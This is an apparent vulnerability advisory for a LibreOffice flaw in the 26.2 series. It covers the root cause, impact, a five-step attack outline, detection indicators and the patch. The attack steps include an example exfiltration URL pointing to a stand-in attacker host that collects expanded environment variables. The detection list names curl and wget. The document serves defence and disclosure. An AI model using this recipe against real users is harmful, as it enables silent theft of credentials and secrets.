CVE-2026-63278: 
LibreOffice vulnerability analysis and mitigation

CVE-2026-63278 is an information disclosure vulnerability in LibreOffice that allows crafted URLs within documents to expand environment variables and INI file values, potentially exfiltrating sensitive data to a remote attacker-controlled server. It affects LibreOffice versions in the 26.2 series prior to 26.2.5, developed by The Document Foundation. This vulnerability is a bypass of the incomplete fix introduced for the related CVE-2024-12426, as the prior check did not recognize all naming conventions for the package content provider. It was published on September 22, 2026, and carries a CVSS v3.1 base score of 5.0 (Medium) and a CVSS v4.0 base score of 6.7 (Medium) (GitHub Advisory, Red Hat Bugzilla).

The root cause is classified under CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) and CWE-914 (Improper Control of Dynamically-Identified Variables). The vulnerability stems from insufficient validation of URLs referencing the package content provider within LibreOffice documents — specifically, the fix for CVE-2024-12426 failed to account for alternative naming conventions for the content provider, allowing crafted URLs to bypass the check and still trigger environment variable or INI file value expansion. An attacker with low privileges can embed such a URL in a document; when a victim opens the document (user interaction required), the expanded values — potentially including credentials or configuration secrets — are transmitted to a remote server. The attack vector is local, requiring the document to be delivered to and opened by the target (GitHub Advisory, Red Hat Bugzilla).

Successful exploitation results in a high confidentiality impact, as sensitive information such as environment variables (which may contain credentials, API keys, or system paths) and INI file values can be silently exfiltrated to an attacker-controlled server when a user opens a malicious document. There is no integrity or availability impact. The scope is limited to the vulnerable system, but the exfiltrated data could enable further attacks such as credential reuse or targeted reconnaissance (GitHub Advisory, Feedly).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time. The EPSS score is 0.0, indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires user interaction (opening a malicious document) and low privileges, limiting its automated exploitability (Feedly).

1. Craft a malicious document: Create a LibreOffice document (e.g., .odt or .ods) containing a hyperlink or embedded URL that references the LibreOffice package content provider using an alternative naming convention not caught by the CVE-2024-12426 fix, and includes environment variable or INI file expansion syntax (e.g., referencing $HOME, $PATH, or credential-containing variables).
2. Embed exfiltration endpoint: Configure the crafted URL so that the expanded variable values are appended as query parameters or path components pointing to an attacker-controlled server (e.g., http://attacker.example.com/collect?data=%ENV_VAR%).
3. Deliver the document: Send the malicious document to the target via email, file sharing, or other social engineering means.
4. Wait for user interaction: When the victim opens the document in a vulnerable LibreOffice version (26.2 series < 26.2.5), the URL is processed, environment variables and INI values are expanded, and the resulting data is transmitted to the attacker's server.
5. Collect exfiltrated data: Review server logs on the attacker-controlled endpoint to harvest the sensitive information (credentials, configuration values, system paths) sent by the victim's LibreOffice instance (GitHub Advisory, Red Hat Bugzilla).

• Network: Unexpected outbound HTTP/HTTPS requests from a workstation running LibreOffice to unknown or suspicious external servers, particularly triggered immediately upon opening a document; requests containing URL-encoded environment variable values or configuration strings in query parameters.
• Logs: Network proxy or firewall logs showing LibreOffice process (soffice.bin or soffice) initiating connections to external IPs or domains not associated with LibreOffice update services.
• File System: Presence of recently received document files (.odt, .ods, .docx, etc.) from untrusted sources containing embedded hyperlinks with unusual URL schemes referencing internal content providers.
• Process: LibreOffice process spawning network connections or child processes (e.g., curl, wget) shortly after a document is opened.

Update LibreOffice to version 26.2.5 or later, which correctly matches the package content provider regardless of naming convention when validating URLs. As a workaround, exercise caution when opening documents from untrusted sources, and consider implementing application-level controls or firewall rules to restrict outbound network connections initiated by LibreOffice. Organizations should prioritize patching given the silent, user-transparent nature of the data exfiltration (GitHub Advisory, Red Hat Bugzilla).

Red Hat has tracked this vulnerability via their Bugzilla system and assigned it medium priority and severity, with the Product Security DevOps Team assigned for response. No notable public researcher commentary or significant social media discussion has been identified at this time beyond standard vulnerability database aggregation (Red Hat Bugzilla).